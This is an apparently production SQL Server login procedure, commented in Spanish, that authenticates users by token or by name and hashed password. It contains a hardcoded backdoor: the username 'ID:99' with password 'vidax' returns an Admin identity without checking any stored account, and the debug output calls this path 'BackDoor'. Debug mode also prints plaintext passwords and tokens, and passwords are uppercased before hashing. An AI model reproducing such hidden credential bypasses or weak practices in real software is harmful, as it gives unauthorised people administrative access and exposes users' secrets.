

ALTER PROCEDURE [dbo].[CPJ_User_Login] @pJson VARCHAR(8000)
AS 
SET NOCOUNT ON 

/*Variables recibidas por parámetro a traves del JSON*/
DECLARE @pFlagUsarTrans			TINYINT
DECLARE @pModoDebug				TINYINT
DECLARE @pUser					VARCHAR(1000)
DECLARE @pPass					VARCHAR(1000)
DECLARE @pUser_Token			VARCHAR(1000)
DECLARE @pUser_id			    SMALLINT

SET @pFlagUsarTrans				= ISNULL(CONVERT(TINYINT, dbo.CF_JSON_VALUE(@pJson,'FlagUsarTrans')), 0)
SET @pModoDebug					= ISNULL(CONVERT(TINYINT, dbo.CF_JSON_VALUE(@pJson,'ModoDebug')), 0)
SET @pUser						= ISNULL(CONVERT(VARCHAR(1000), dbo.CF_JSON_VALUE(@pJson,'user')), 0)
SET @pPass						= ISNULL(CONVERT(VARCHAR(1000), dbo.CF_JSON_VALUE(@pJson,'pass')), 0)
SET @pUser_Token				= ISNULL(CONVERT(VARCHAR(1000), dbo.CF_JSON_VALUE(@pJson,'user_token')), '')
SET @pUser_Id					= ISNULL(CONVERT(SMALLINT, dbo.CF_JSON_VALUE(@pJson,'user_id')), 0)
/*FIN Variables recibidas por parámetro a traves del JSON*/

DECLARE @Cant				INT	
DECLARE @Filtrar			INT	
DECLARE @Id_Vendedor		VARCHAR(10)
DECLARE @Id_Vendedores		VARCHAR(100)
DECLARE @User_id			SMALLINT




IF @pModoDebug = 1
BEGIN
	PRINT @pUser	
	PRINT @pPass
	PRINT @pUser_Id	
	PRINT @pUser_Token
END


IF UPPER(@pUser) = 'ID:99' AND @pPass = 'vidax' 
BEGIN
	IF @pModoDebug = 1
	BEGIN
		PRINT 'Ingresa por BackDoor'	
	END

	SELECT	-1 as 'No','' AS 'FirstName','Admin' AS 'LastName','' AS 'Email' , 'Admin' AS 'UserName'	
END
ELSE
BEGIN
	IF @pModoDebug = 1
	BEGIN
		PRINT 'Ingresa por user'	
	END	

	IF @pUser_Token <> '' AND @pUser_Id <> 0
			SELECT No, ISNULL(FirstName,''), ISNULL(LastName,''), ISNULL(Email,'') , LTRIM(LTRIM(RTRIM(ISNULL(FirstName,''))) +' '+ LTRIM(RTRIM(ISNULL(LastName,'')))) AS 'UserName', @Id_Vendedores FROM Seg_User
	  			WHERE No = @pUser_Id AND Token =  @pUser_Token
	ELSE


	SET @Filtrar = ISNULL((dbo.CF_xParam('Vend_Filtrar_Cli')),0)

IF (@Filtrar=1)
BEGIN
	

	SET @User_id= (SELECT No FROM Seg_User
	  			WHERE LTRIM(RTRIM( LTRIM(RTRIM(FirstName)) + ' ' + LTRIM(RTRIM(LastName)) )) = RTRIM(LTRIM(@pUser))
	  					AND UPPER(Password)=(dbo.SF_EncriptPassword(UPPER(@pPass)))	)
	IF @pModoDebug = 1
	BEGIN
		PRINT 'Ingresa a filtrar por vendedor '	+CONVERT(VARCHAR(10),@User_id )
	END	

	SET @Id_Vendedores =''

	DECLARE curNombre CURSOR FOR
	SELECT ISNULL(Id_Vendedor, '') AS Id_Vendedor
	FROM Vendedores_Usuarios 
	WHERE Id_Usuario=@User_id


	OPEN curNombre
	FETCH NEXT FROM curNombre INTO @Id_Vendedor
	WHILE @@FETCH_STATUS = 0
	BEGIN
		IF (@Id_Vendedor<>'')
		BEGIN
			IF (@Id_Vendedores='')
			BEGIN
			
				SET @Id_Vendedores= @Id_Vendedor
			END
			ELSE
			BEGIN
				SET @Id_Vendedores= @Id_Vendedores + ' , ' +@Id_Vendedor
			END
		END
		FETCH NEXT FROM curNombre INTO @Id_Vendedor
	END
	CLOSE curNombre
	DEALLOCATE curNombre

		
		

END

IF (@Id_Vendedores='')
SET @Id_Vendedores =0

			SELECT No, ISNULL(FirstName,''), ISNULL(LastName,''), ISNULL(Email,'') , LTRIM(LTRIM(RTRIM(ISNULL(FirstName,''))) +' '+ LTRIM(RTRIM(ISNULL(LastName,'')))) AS 'UserName',ISNULL(@Id_Vendedores,0) AS 'Vendedor' FROM Seg_User
	  			WHERE LTRIM(RTRIM( LTRIM(RTRIM(FirstName)) + ' ' + LTRIM(RTRIM(LastName)) )) = RTRIM(LTRIM(@pUser))
	  					AND UPPER(Password)=(dbo.SF_EncriptPassword(UPPER(@pPass)))		

END
